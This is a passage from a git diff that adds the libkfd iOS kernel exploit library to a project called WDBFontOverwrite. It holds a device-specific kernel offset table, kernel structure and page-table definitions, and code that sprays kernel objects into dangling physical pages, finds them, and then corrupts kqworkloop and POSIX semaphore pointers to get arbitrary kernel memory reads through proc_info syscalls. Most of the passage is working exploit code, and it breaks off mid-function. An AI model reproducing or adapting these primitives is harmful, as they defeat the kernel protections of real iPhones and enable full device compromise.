0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x640, + .thread__task_threads__next = 0x380 - 0x18, + .thread__task_threads__prev = 0x380 - 0x18 + 8, + .thread__map = 0x380, + .thread__thread_id = 0x418, + .thread__object_size = 0x4c0, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a4c5208, + .kernelcache__gPhysBase = 0xfffffff007947fc0, + .kernelcache__gPhysSize = 0xfffffff007947fc0 + 8, + .kernelcache__gVirtBase = 0xfffffff007946198, + .kernelcache__perfmon_devices = 0xfffffff00a503520, + .kernelcache__perfmon_dev_open = 0xfffffff007f11210, + .kernelcache__ptov_table = 0xfffffff0078fb180, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a502990, + .kernelcache__vm_pages = 0xfffffff0078f7ec0, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078fa130, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a502988, + .kernelcache__vn_kqfilter = 0xfffffff007f5dae0, + }, + +/****************End iPhone SE (2022) Series*********************/ + +}; + +#endif /* dynamic_info_h */ diff --git a/WDBFontOverwrite/libkfd/info/static_info.h b/WDBFontOverwrite/libkfd/info/static_info.h new file mode 100644 index 0000000..e528a28 --- /dev/null +++ b/WDBFontOverwrite/libkfd/info/static_info.h @@ -0,0 +1,309 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef static_info_h +#define static_info_h + +#define pages(number_of_pages) ((number_of_pages) * (16384ull)) + +#define t1sz_boot (25ull) +#define ptr_mask ((1ull << (64ull - t1sz_boot)) - 1ull) +#define pac_mask (~ptr_mask) +#define unsign_kaddr(kaddr) ((kaddr) | (pac_mask)) + +const u64 msg_ool_size_small = (32 * 1024); + +#define GUARD_REQUIRED (1u << 1) + +struct psemnode { + u64 pinfo; + u64 padding; +}; + +struct fileproc { + u32 fp_iocount; + u32 fp_vflags; + u16 fp_flags; + u16 fp_guard_attrs; + u64 fp_glob; + union { + u64 fp_wset; + u64 fp_guard; + }; +}; + +/* + * kqueue stuff + */ + +#define KQ_WORKLOOP_CREATE 0x01 +#define KQ_WORKLOOP_DESTROY 0x02 + +#define KQ_WORKLOOP_CREATE_SCHED_PRI 0x01 +#define KQ_WORKLOOP_CREATE_SCHED_POL 0x02 +#define KQ_WORKLOOP_CREATE_CPU_PERCENT 0x04 + +struct kqueue_workloop_params { + i32 kqwlp_version; + i32 kqwlp_flags; + u64 kqwlp_id; + i32 kqwlp_sched_pri; + i32 kqwlp_sched_pol; + i32 kqwlp_cpu_percent; + i32 kqwlp_cpu_refillms; +} __attribute__((packed)); + +__options_decl(kq_state_t, u16, { + KQ_SLEEP = 0x0002, + KQ_PROCWAIT = 0x0004, + KQ_KEV32 = 0x0008, + KQ_KEV64 = 0x0010, + KQ_KEV_QOS = 0x0020, + KQ_WORKQ = 0x0040, + KQ_WORKLOOP = 0x0080, + KQ_PROCESSING = 0x0100, + KQ_DRAIN = 0x0200, + KQ_DYNAMIC = 0x0800, + KQ_R2K_ARMED = 0x1000, + KQ_HAS_TURNSTILE = 0x2000, +}); + +/* + * proc_info stuff + */ + +#define PROC_INFO_CALL_LISTPIDS 0x1 +#define PROC_INFO_CALL_PIDINFO 0x2 +#define PROC_INFO_CALL_PIDFDINFO 0x3 +#define PROC_INFO_CALL_KERNMSGBUF 0x4 +#define PROC_INFO_CALL_SETCONTROL 0x5 +#define PROC_INFO_CALL_PIDFILEPORTINFO 0x6 +#define PROC_INFO_CALL_TERMINATE 0x7 +#define PROC_INFO_CALL_DIRTYCONTROL 0x8 +#define PROC_INFO_CALL_PIDRUSAGE 0x9 +#define PROC_INFO_CALL_PIDORIGINATORINFO 0xa +#define PROC_INFO_CALL_LISTCOALITIONS 0xb +#define PROC_INFO_CALL_CANUSEFGHW 0xc +#define PROC_INFO_CALL_PIDDYNKQUEUEINFO 0xd +#define PROC_INFO_CALL_UDATA_INFO 0xe +#define PROC_INFO_CALL_SET_DYLD_IMAGES 0xf +#define PROC_INFO_CALL_TERMINATE_RSR 0x10 + +struct vinfo_stat { + u32 vst_dev; + u16 vst_mode; + u16 vst_nlink; + u64 vst_ino; + u32 vst_uid; + u32 vst_gid; + i64 vst_atime; + i64 vst_atimensec; + i64 vst_mtime; + i64 vst_mtimensec; + i64 vst_ctime; + i64 vst_ctimensec; + i64 vst_birthtime; + i64 vst_birthtimensec; + i64 vst_size; + i64 vst_blocks; + i32 vst_blksize; + u32 vst_flags; + u32 vst_gen; + u32 vst_rdev; + i64 vst_qspare[2]; +}; + +#define PROC_PIDFDVNODEINFO 1 +#define PROC_PIDFDVNODEPATHINFO 2 +#define PROC_PIDFDSOCKETINFO 3 +#define PROC_PIDFDPSEMINFO 4 +#define PROC_PIDFDPSHMINFO 5 +#define PROC_PIDFDPIPEINFO 6 +#define PROC_PIDFDKQUEUEINFO 7 +#define PROC_PIDFDATALKINFO 8 +#define PROC_PIDFDKQUEUE_EXTINFO 9 +#define PROC_PIDFDCHANNELINFO 10 + +struct proc_fileinfo { + u32 fi_openflags; + u32 fi_status; + i64 fi_offset; + i32 fi_type; + u32 fi_guardflags; +}; + +struct psem_info { + struct vinfo_stat psem_stat; + char psem_name[1024]; +}; + +struct psem_fdinfo { + struct proc_fileinfo pfi; + struct psem_info pseminfo; +}; + +#define PROC_PIDDYNKQUEUE_INFO 0 +#define PROC_PIDDYNKQUEUE_EXTINFO 1 + +struct kqueue_info { + struct vinfo_stat kq_stat; + u32 kq_state; + u32 rfu_1; +}; + +struct kqueue_dyninfo { + struct kqueue_info kqdi_info; + u64 kqdi_servicer; + u64 kqdi_owner; + u32 kqdi_sync_waiters; + u8 kqdi_sync_waiter_qos; + u8 kqdi_async_qos; + u16 kqdi_request_state; + u8 kqdi_events_qos; + u8 kqdi_pri; + u8 kqdi_pol; + u8 kqdi_cpupercent; + u8 _kqdi_reserved0[4]; + u64 _kqdi_reserved1[4]; +}; + +/* + * perfmon stuff + */ + +#define PERFMON_SPEC_MAX_ATTR_COUNT (32) + +struct perfmon_layout { + u16 pl_counter_count; + u16 pl_fixed_offset; + u16 pl_fixed_count; + u16 pl_unit_count; + u16 pl_reg_count; + u16 pl_attr_count; +}; + +typedef char perfmon_name_t[16]; + +struct perfmon_event { + char pe_name[32]; + u64 pe_number; + u16 pe_counter; +}; + +struct perfmon_attr { + perfmon_name_t pa_name; + u64 pa_value; +}; + +struct perfmon_spec { + struct perfmon_event* ps_events; + struct perfmon_attr* ps_attrs; + u16 ps_event_count; + u16 ps_attr_count; +}; + +enum perfmon_kind { + perfmon_cpmu, + perfmon_upmu, + perfmon_kind_max, +}; + +struct perfmon_source { + const char* ps_name; + const perfmon_name_t* ps_register_names; + const perfmon_name_t* ps_attribute_names; + struct perfmon_layout ps_layout; + enum perfmon_kind ps_kind; + bool ps_supported; +}; + +struct perfmon_counter { + u64 pc_number; +}; + +struct perfmon_config { + struct perfmon_source* pc_source; + struct perfmon_spec pc_spec; + u16 pc_attr_ids[PERFMON_SPEC_MAX_ATTR_COUNT]; + struct perfmon_counter* pc_counters; + u64 pc_counters_used; + u64 pc_attrs_used; + bool pc_configured:1; +}; + +struct perfmon_device { + void* pmdv_copyout_buf; + u64 pmdv_mutex[2]; + struct perfmon_config* pmdv_config; + bool pmdv_allocated; +}; + +enum perfmon_ioctl { + PERFMON_CTL_ADD_EVENT = _IOWR('P', 5, struct perfmon_event), + PERFMON_CTL_SPECIFY = _IOWR('P', 10, struct perfmon_spec), +}; + +/* + * pmap stuff + */ + +#define AP_RWNA (0x0ull << 6) +#define AP_RWRW (0x1ull << 6) +#define AP_RONA (0x2ull << 6) +#define AP_RORO (0x3ull << 6) + +#define ARM_PTE_TYPE 0x0000000000000003ull +#define ARM_PTE_TYPE_VALID 0x0000000000000003ull +#define ARM_PTE_TYPE_MASK 0x0000000000000002ull +#define ARM_TTE_TYPE_L3BLOCK 0x0000000000000002ull +#define ARM_PTE_ATTRINDX 0x000000000000001cull +#define ARM_PTE_NS 0x0000000000000020ull +#define ARM_PTE_AP 0x00000000000000c0ull +#define ARM_PTE_SH 0x0000000000000300ull +#define ARM_PTE_AF 0x0000000000000400ull +#define ARM_PTE_NG 0x0000000000000800ull +#define ARM_PTE_ZERO1 0x000f000000000000ull +#define ARM_PTE_HINT 0x0010000000000000ull +#define ARM_PTE_PNX 0x0020000000000000ull +#define ARM_PTE_NX 0x0040000000000000ull +#define ARM_PTE_ZERO2 0x0380000000000000ull +#define ARM_PTE_WIRED 0x0400000000000000ull +#define ARM_PTE_WRITEABLE 0x0800000000000000ull +#define ARM_PTE_ZERO3 0x3000000000000000ull +#define ARM_PTE_COMPRESSED_ALT 0x4000000000000000ull +#define ARM_PTE_COMPRESSED 0x8000000000000000ull + +#define ARM_TTE_VALID 0x0000000000000001ull +#define ARM_TTE_TYPE_MASK 0x0000000000000002ull +#define ARM_TTE_TYPE_TABLE 0x0000000000000002ull +#define ARM_TTE_TYPE_BLOCK 0x0000000000000000ull +#define ARM_TTE_TABLE_MASK 0x0000fffffffff000ull +#define ARM_TTE_PA_MASK 0x0000fffffffff000ull + +#define PMAP_TT_L0_LEVEL 0x0 +#define PMAP_TT_L1_LEVEL 0x1 +#define PMAP_TT_L2_LEVEL 0x2 +#define PMAP_TT_L3_LEVEL 0x3 + +#define ARM_16K_TT_L0_SIZE 0x0000800000000000ull +#define ARM_16K_TT_L0_OFFMASK 0x00007fffffffffffull +#define ARM_16K_TT_L0_SHIFT 47 +#define ARM_16K_TT_L0_INDEX_MASK 0x0000800000000000ull + +#define ARM_16K_TT_L1_SIZE 0x0000001000000000ull +#define ARM_16K_TT_L1_OFFMASK 0x0000000fffffffffull +#define ARM_16K_TT_L1_SHIFT 36 +#define ARM_16K_TT_L1_INDEX_MASK 0x00007ff000000000ull + +#define ARM_16K_TT_L2_SIZE 0x0000000002000000ull +#define ARM_16K_TT_L2_OFFMASK 0x0000000001ffffffull +#define ARM_16K_TT_L2_SHIFT 25 +#define ARM_16K_TT_L2_INDEX_MASK 0x0000000ffe000000ull + +#define ARM_16K_TT_L3_SIZE 0x0000000000004000ull +#define ARM_16K_TT_L3_OFFMASK 0x0000000000003fffull +#define ARM_16K_TT_L3_SHIFT 14 +#define ARM_16K_TT_L3_INDEX_MASK 0x0000000001ffc000ull + +#endif /* static_info_h */ diff --git a/WDBFontOverwrite/libkfd/krkw.h b/WDBFontOverwrite/libkfd/krkw.h new file mode 100644 index 0000000..9952205 --- /dev/null +++ b/WDBFontOverwrite/libkfd/krkw.h @@ -0,0 +1,255 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef krkw_h +#define krkw_h + +#define kread_from_method(type, method) \ + do { \ + volatile type* type_base = (volatile type*)(uaddr); \ + u64 type_size = ((size) / (sizeof(type))); \ + for (u64 type_offset = 0; type_offset < type_size; type_offset++) { \ + type type_value = method(kfd, kaddr + (type_offset * sizeof(type))); \ + type_base[type_offset] = type_value; \ + } \ + } while (0) + +#include "krkw/kread/kread_kqueue_workloop_ctl.h" +#include "krkw/kread/kread_sem_open.h" + +#define kwrite_from_method(type, method) \ + do { \ + volatile type* type_base = (volatile type*)(uaddr); \ + u64 type_size = ((size) / (sizeof(type))); \ + for (u64 type_offset = 0; type_offset < type_size; type_offset++) { \ + type type_value = type_base[type_offset]; \ + method(kfd, kaddr + (type_offset * sizeof(type)), type_value); \ + } \ + } while (0) + +#include "krkw/kwrite/kwrite_dup.h" +#include "krkw/kwrite/kwrite_sem_open.h" + +// Forward declarations for helper functions. +void krkw_helper_init(struct kfd* kfd, struct krkw* krkw); +void krkw_helper_grab_free_pages(struct kfd* kfd); +void krkw_helper_run_allocate(struct kfd* kfd, struct krkw* krkw); +void krkw_helper_run_deallocate(struct kfd* kfd, struct krkw* krkw); +void krkw_helper_free(struct kfd* kfd, struct krkw* krkw); + +#define kread_method_case(method) \ + case method: { \ + const char* method_name = #method; \ + print_string(method_name); \ + kfd->kread.krkw_method_ops.init = method##_init; \ + kfd->kread.krkw_method_ops.allocate = method##_allocate; \ + kfd->kread.krkw_method_ops.search = method##_search; \ + kfd->kread.krkw_method_ops.kread = method##_kread; \ + kfd->kread.krkw_method_ops.kwrite = NULL; \ + kfd->kread.krkw_method_ops.find_proc = method##_find_proc; \ + kfd->kread.krkw_method_ops.deallocate = method##_deallocate; \ + kfd->kread.krkw_method_ops.free = method##_free; \ + break; \ + } + +#define kwrite_method_case(method) \ + case method: { \ + const char* method_name = #method; \ + print_string(method_name); \ + kfd->kwrite.krkw_method_ops.init = method##_init; \ + kfd->kwrite.krkw_method_ops.allocate = method##_allocate; \ + kfd->kwrite.krkw_method_ops.search = method##_search; \ + kfd->kwrite.krkw_method_ops.kread = NULL; \ + kfd->kwrite.krkw_method_ops.kwrite = method##_kwrite; \ + kfd->kwrite.krkw_method_ops.find_proc = method##_find_proc; \ + kfd->kwrite.krkw_method_ops.deallocate = method##_deallocate; \ + kfd->kwrite.krkw_method_ops.free = method##_free; \ + break; \ + } + +void krkw_init(struct kfd* kfd, u64 kread_method, u64 kwrite_method) +{ + switch (kread_method) { + kread_method_case(kread_kqueue_workloop_ctl) + kread_method_case(kread_sem_open) + } + + switch (kwrite_method) { + kwrite_method_case(kwrite_dup) + kwrite_method_case(kwrite_sem_open) + } + + krkw_helper_init(kfd, &kfd->kread); + krkw_helper_init(kfd, &kfd->kwrite); +} + +void krkw_run(struct kfd* kfd) +{ + krkw_helper_grab_free_pages(kfd); + + timer_start(); + krkw_helper_run_allocate(kfd, &kfd->kread); + krkw_helper_run_allocate(kfd, &kfd->kwrite); + krkw_helper_run_deallocate(kfd, &kfd->kread); + krkw_helper_run_deallocate(kfd, &kfd->kwrite); + timer_end(); +} + +void krkw_kread(struct kfd* kfd, u64 kaddr, void* uaddr, u64 size) +{ + kfd->kread.krkw_method_ops.kread(kfd, kaddr, uaddr, size); +} + +void krkw_kwrite(struct kfd* kfd, void* uaddr, u64 kaddr, u64 size) +{ + kfd->kwrite.krkw_method_ops.kwrite(kfd, uaddr, kaddr, size); +} + +void krkw_free(struct kfd* kfd) +{ + krkw_helper_free(kfd, &kfd->kread); + krkw_helper_free(kfd, &kfd->kwrite); +} + +/* + * Helper krkw functions. + */ + +void krkw_helper_init(struct kfd* kfd, struct krkw* krkw) +{ + krkw->krkw_method_ops.init(kfd); +} + +void krkw_helper_grab_free_pages(struct kfd* kfd) +{ + timer_start(); + + const u64 copy_pages = (kfd->info.copy.size / pages(1)); + const u64 grabbed_puaf_pages_goal = (kfd->puaf.number_of_puaf_pages / 4); + const u64 grabbed_free_pages_max = 400000; + + for (u64 grabbed_free_pages = copy_pages; grabbed_free_pages < grabbed_free_pages_max; grabbed_free_pages += copy_pages) { + assert_mach(vm_copy(mach_task_self(), kfd->info.copy.src_uaddr, kfd->info.copy.size, kfd->info.copy.dst_uaddr)); + + u64 grabbed_puaf_pages = 0; + for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) { + u64 puaf_page_uaddr = kfd->puaf.puaf_pages_uaddr[i]; + if (!memcmp(info_copy_sentinel, (void*)(puaf_page_uaddr), info_copy_sentinel_size)) { + if (++grabbed_puaf_pages == grabbed_puaf_pages_goal) { + print_u64(grabbed_free_pages); + timer_end(); + return; + } + } + } + } + + print_warning("failed to grab free pages goal"); +} + +void krkw_helper_run_allocate(struct kfd* kfd, struct krkw* krkw) +{ + timer_start(); + const u64 batch_size = (pages(1) / krkw->krkw_object_size); + + while (true) { + /* + * Spray a batch of objects, but stop if the maximum id has been reached. + */ + bool maximum_reached = false; + + for (u64 i = 0; i < batch_size; i++) { + if (krkw->krkw_allocated_id == krkw->krkw_maximum_id) { + maximum_reached = true; + break; + } + + krkw->krkw_method_ops.allocate(kfd, krkw->krkw_allocated_id); + krkw->krkw_allocated_id++; + } + + /* + * Search the puaf pages for the last batch of objects. + * + * Note that we make the following assumptions: + * - All objects have a 64-bit alignment. + * - All objects can be found within 1/16th of a page. + * - All objects have a size smaller than 15/16th of a page. + */ + for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) { + u64 puaf_page_uaddr = kfd->puaf.puaf_pages_uaddr[i]; + u64 stop_uaddr = puaf_page_uaddr + (pages(1) / 16); + for (u64 object_uaddr = puaf_page_uaddr; object_uaddr < stop_uaddr; object_uaddr += sizeof(u64)) { + if (krkw->krkw_method_ops.search(kfd, object_uaddr)) { + krkw->krkw_searched_id = krkw->krkw_object_id; + krkw->krkw_object_uaddr = object_uaddr; + goto loop_break; + } + } + } + + krkw->krkw_searched_id = krkw->krkw_allocated_id; + + if (maximum_reached) { +loop_break: + break; + } + } + + timer_end(); + const char* krkw_type = (krkw->krkw_method_ops.kread) ? "kread" : "kwrite"; + + if (!krkw->krkw_object_uaddr) { + for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) { + u64 puaf_page_uaddr = kfd->puaf.puaf_pages_uaddr[i]; + print_buffer(puaf_page_uaddr, 64); + break; + } + + assert_false(krkw_type); + } + + print_message( + "%s ---> object_id = %llu, object_uaddr = 0x%016llx, object_size = %llu, allocated_id = %llu/%llu, batch_size = %llu", + krkw_type, + krkw->krkw_object_id, + krkw->krkw_object_uaddr, + krkw->krkw_object_size, + krkw->krkw_allocated_id, + krkw->krkw_maximum_id, + batch_size + ); + + print_buffer(krkw->krkw_object_uaddr, krkw->krkw_object_size); + + if (!kfd->info.kaddr.current_proc) { + krkw->krkw_method_ops.find_proc(kfd); + } +} + +void krkw_helper_run_deallocate(struct kfd* kfd, struct krkw* krkw) +{ + timer_start(); + + for (u64 id = 0; id < krkw->krkw_allocated_id; id++) { + if (id == krkw->krkw_object_id) { + continue; + } + + krkw->krkw_method_ops.deallocate(kfd, id); + } + + timer_end(); +} + +void krkw_helper_free(struct kfd* kfd, struct krkw* krkw) +{ + krkw->krkw_method_ops.free(kfd); + + if (krkw->krkw_method_data) { + bzero_free(krkw->krkw_method_data, krkw->krkw_method_data_size); + } +} + +#endif /* krkw_h */ diff --git a/WDBFontOverwrite/libkfd/krkw/kread/kread_kqueue_workloop_ctl.h b/WDBFontOverwrite/libkfd/krkw/kread/kread_kqueue_workloop_ctl.h new file mode 100644 index 0000000..1833d76 --- /dev/null +++ b/WDBFontOverwrite/libkfd/krkw/kread/kread_kqueue_workloop_ctl.h @@ -0,0 +1,107 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef kread_kqueue_workloop_ctl_h +#define kread_kqueue_workloop_ctl_h + +const u64 kread_kqueue_workloop_ctl_sentinel = 0x1122334455667788; + +u64 kread_kqueue_workloop_ctl_kread_u64(struct kfd* kfd, u64 kaddr); + +void kread_kqueue_workloop_ctl_init(struct kfd* kfd) +{ + kfd->kread.krkw_maximum_id = 100000; + kfd->kread.krkw_object_size = kfd_offset(kqworkloop__object_size); +} + +void kread_kqueue_workloop_ctl_allocate(struct kfd* kfd, u64 id) +{ + struct kqueue_workloop_params params = { + .kqwlp_version = (i32)(sizeof(params)), + .kqwlp_flags = KQ_WORKLOOP_CREATE_SCHED_PRI, + .kqwlp_id = id + kread_kqueue_workloop_ctl_sentinel, + .kqwlp_sched_pri = 1, + }; + + u64 cmd = KQ_WORKLOOP_CREATE; + u64 options = 0; + u64 addr = (u64)(¶ms); + usize sz = (usize)(params.kqwlp_version); + assert_bsd(syscall(SYS_kqueue_workloop_ctl, cmd, options, addr, sz)); +} + +bool kread_kqueue_workloop_ctl_search(struct kfd* kfd, u64 object_uaddr) +{ + u64 sentinel_min = kread_kqueue_workloop_ctl_sentinel; + u64 sentinel_max = sentinel_min + kfd->kread.krkw_allocated_id; + + u16 kqwl_state = uget_u64(kqworkloop__kqwl_state, object_uaddr); + u64 kqwl_dynamicid = uget_u64(kqworkloop__kqwl_dynamicid, object_uaddr); + + if ((kqwl_state == (KQ_KEV_QOS | KQ_WORKLOOP | KQ_DYNAMIC)) && + (kqwl_dynamicid >= sentinel_min) && + (kqwl_dynamicid < sentinel_max)) { + u64 object_id = kqwl_dynamicid - sentinel_min; + kfd->kread.krkw_object_id = object_id; + return true; + } + + return false; +} + +void kread_kqueue_workloop_ctl_kread(struct kfd* kfd, u64 kaddr, void* uaddr, u64 size) +{ + kread_from_method(u64, kread_kqueue_workloop_ctl_kread_u64); +} + +void kread_kqueue_workloop_ctl_find_proc(struct kfd* kfd) +{ + u64 kqworkloop_uaddr = kfd->kread.krkw_object_uaddr; + kfd->info.kaddr.current_proc = uget_u64(kqworkloop__kqwl_p, kqworkloop_uaddr); +} + +void kread_kqueue_workloop_ctl_deallocate(struct kfd* kfd, u64 id) +{ + struct kqueue_workloop_params params = { + .kqwlp_version = (i32)(sizeof(params)), + .kqwlp_id = id + kread_kqueue_workloop_ctl_sentinel, + }; + + u64 cmd = KQ_WORKLOOP_DESTROY; + u64 options = 0; + u64 addr = (u64)(¶ms); + usize sz = (usize)(params.kqwlp_version); + assert_bsd(syscall(SYS_kqueue_workloop_ctl, cmd, options, addr, sz)); +} + +void kread_kqueue_workloop_ctl_free(struct kfd* kfd) +{ + kread_kqueue_workloop_ctl_deallocate(kfd, kfd->kread.krkw_object_id); +} + +/* + * 64-bit kread function. + */ + +u64 kread_kqueue_workloop_ctl_kread_u64(struct kfd* kfd, u64 kaddr) +{ + u64 kqworkloop_uaddr = kfd->kread.krkw_object_uaddr; + u64 old_kqwl_owner = uget_u64(kqworkloop__kqwl_owner, kqworkloop_uaddr); + u64 new_kqwl_owner = kaddr - kfd_offset(thread__thread_id); + uset_u64(kqworkloop__kqwl_owner, new_kqwl_owner, kqworkloop_uaddr); + + struct kqueue_dyninfo data = {}; + i32 callnum = PROC_INFO_CALL_PIDDYNKQUEUEINFO; + i32 pid = kfd->info.env.pid; + u32 flavor = PROC_PIDDYNKQUEUE_INFO; + u64 arg = kfd->kread.krkw_object_id + kread_kqueue_workloop_ctl_sentinel; + u64 buffer = (u64)(&data); + i32 buffersize = (i32)(sizeof(struct kqueue_dyninfo)); +// assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize); + + uset_u64(kqworkloop__kqwl_owner, old_kqwl_owner, kqworkloop_uaddr); + return data.kqdi_owner; +} + +#endif /* kread_kqueue_workloop_ctl_h */ diff --git a/WDBFontOverwrite/libkfd/krkw/kread/kread_sem_open.h b/WDBFontOverwrite/libkfd/krkw/kread/kread_sem_open.h new file mode 100644 index 0000000..9393962 --- /dev/null +++ b/WDBFontOverwrite/libkfd/krkw/kread/kread_sem_open.h @@ -0,0 +1,190 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef kread_sem_open_h +#define kread_sem_open_h + +const char* kread_sem_open_name = "kfd-posix-semaphore"; + +u64 kread_sem_open_kread_u64(struct kfd* kfd, u64 kaddr); +u32 kread_sem_open_kread_u32(struct kfd* kfd, u64 kaddr); + +void kread_sem_open_init(struct kfd* kfd) +{ + kfd->kread.krkw_maximum_id = kfd->info.env.maxfilesperproc - 100; + kfd->kread.krkw_object_size = sizeof(struct psemnode); + + kfd->kread.krkw_method_data_size = ((kfd->kread.krkw_maximum_id + 1) * (sizeof(i32))) + sizeof(struct psem_fdinfo); + kfd->kread.krkw_method_data = malloc_bzero(kfd->kread.krkw_method_data_size); + + sem_unlink(kread_sem_open_name); + i32 sem_fd = (i32)(usize)(sem_open(kread_sem_open_name, (O_CREAT | O_EXCL), (S_IRUSR | S_IWUSR), 0)); + assert(sem_fd > 0); + + i32* fds = (i32*)(kfd->kread.krkw_method_data); + fds[kfd->kread.krkw_maximum_id] = sem_fd; + + struct psem_fdinfo* sem_data = (struct psem_fdinfo*)(&fds[kfd->kread.krkw_maximum_id + 1]); + i32 callnum = PROC_INFO_CALL_PIDFDINFO; + i32 pid = kfd->info.env.pid; + u32 flavor = PROC_PIDFDPSEMINFO; + u64 arg = sem_fd; + u64 buffer = (u64)(sem_data); + i32 buffersize = (i32)(sizeof(struct psem_fdinfo)); + assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize); +} + +void kread_sem_open_allocate(struct kfd* kfd, u64 id) +{ + i32 fd = (i32)(usize)(sem_open(kread_sem_open_name, 0, 0, 0)); + assert(fd > 0); + + i32* fds = (i32*)(kfd->kread.krkw_method_data); + fds[id] = fd; +} + +bool kread_sem_open_search(struct kfd* kfd, u64 object_uaddr) +{ + volatile struct psemnode* pnode = (volatile struct psemnode*)(object_uaddr); + i32* fds = (i32*)(kfd->kread.krkw_method_data); + struct psem_fdinfo* sem_data = (struct psem_fdinfo*)(&fds[kfd->kread.krkw_maximum_id + 1]); + + if ((pnode[0].pinfo > pac_mask) && + (pnode[1].pinfo == pnode[0].pinfo) && + (pnode[2].pinfo == pnode[0].pinfo) && + (pnode[3].pinfo == pnode[0].pinfo) && + (pnode[0].padding == 0) && + (pnode[1].padding == 0) && + (pnode[2].padding == 0) && + (pnode[3].padding == 0)) { + for (u64 object_id = kfd->kread.krkw_searched_id; object_id < kfd->kread.krkw_allocated_id; object_id++) { + struct psem_fdinfo data = {}; + i32 callnum = PROC_INFO_CALL_PIDFDINFO; + i32 pid = kfd->info.env.pid; + u32 flavor = PROC_PIDFDPSEMINFO; + u64 arg = fds[object_id]; + u64 buffer = (u64)(&data); + i32 buffersize = (i32)(sizeof(struct psem_fdinfo)); + + const u64 shift_amount = 4; + pnode[0].pinfo += shift_amount; + assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize); + pnode[0].pinfo -= shift_amount; + + if (!memcmp(&data.pseminfo.psem_name[0], &sem_data->pseminfo.psem_name[shift_amount], 16)) { + kfd->kread.krkw_object_id = object_id; + return true; + } + } + + /* + * False alarm: it wasn't one of our psemmode objects. + */ + print_warning("failed to find modified psem_name sentinel"); + } + + return false; +} + +void kread_sem_open_kread(struct kfd* kfd, u64 kaddr, void* uaddr, u64 size) +{ + kread_from_method(u64, kread_sem_open_kread_u64); +} + +void kread_sem_open_find_proc(struct kfd* kfd) +{ + u64 pseminfo_kaddr = ((volatile struct psemnode*)(kfd->kread.krkw_object_uaddr))->pinfo; + u64 semaphore_kaddr = kget_u64(pseminfo__psem_semobject, pseminfo_kaddr); + u64 task_kaddr = kget_u64(semaphore__owner, semaphore_kaddr); + u64 proc_kaddr = task_kaddr - kfd_offset(proc__object_size); + kfd->info.kaddr.kernel_proc = proc_kaddr; + + /* + * Go backwards from the kernel_proc, which is the last proc in the list. + */ + while (true) { + i32 pid = kget_u64(proc__p_pid, proc_kaddr); + if (pid == kfd->info.env.pid) { + kfd->info.kaddr.current_proc = proc_kaddr; + break; + } + + proc_kaddr = kget_u64(proc__p_list__le_prev, proc_kaddr); + } +} + +void kread_sem_open_deallocate(struct kfd* kfd, u64 id) +{ + /* + * Let kwrite_sem_open_deallocate() take care of + * deallocating all the shared file descriptors. + */ + return; +} + +void kread_sem_open_free(struct kfd* kfd) +{ + /* + * Let's null out the kread reference to the shared data buffer + * because kwrite_sem_open_free() needs it and will free it. + */ + kfd->kread.krkw_method_data = NULL; +} + +/* + * 64-bit kread function. + */ + +u64 kread_sem_open_kread_u64(struct kfd* kfd, u64 kaddr) +{ + i32* fds = (i32*)(kfd->kread.krkw_method_data); + i32 kread_fd = fds[kfd->kread.krkw_object_id]; + u64 psemnode_uaddr = kfd->kread.krkw_object_uaddr; + + u64 old_pinfo = ((volatile struct psemnode*)(psemnode_uaddr))->pinfo; + u64 new_pinfo = kaddr - kfd_offset(pseminfo__psem_uid); + ((volatile struct psemnode*)(psemnode_uaddr))->pinfo = new_pinfo; + + struct psem_fdinfo data = {}; + i32 callnum = PROC_INFO_CALL_PIDFDINFO; + i32 pid = kfd->info.env.pid; + u32 flavor = PROC_PIDFDPSEMINFO; + u64 arg = kread_fd; + u64 buffer = (u64)(&data); + i32 buffersize = (i32)(sizeof(struct psem_fdinfo)); + assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize); + + ((volatile struct psemnode*)(psemnode_uaddr))->pinfo = old_pinfo; + return *(u64*)(&data.pseminfo.psem_stat.vst_uid); +} + +/* + * 32-bit kread function that is guaranteed to not underflow a page, + * i.e. those 4 bytes are the first 4 bytes read by the modified kernel pointer. + */ + +u32 kread_sem_open_kread_u32(struct kfd* kfd, u64 kaddr) +{ + i32* fds = 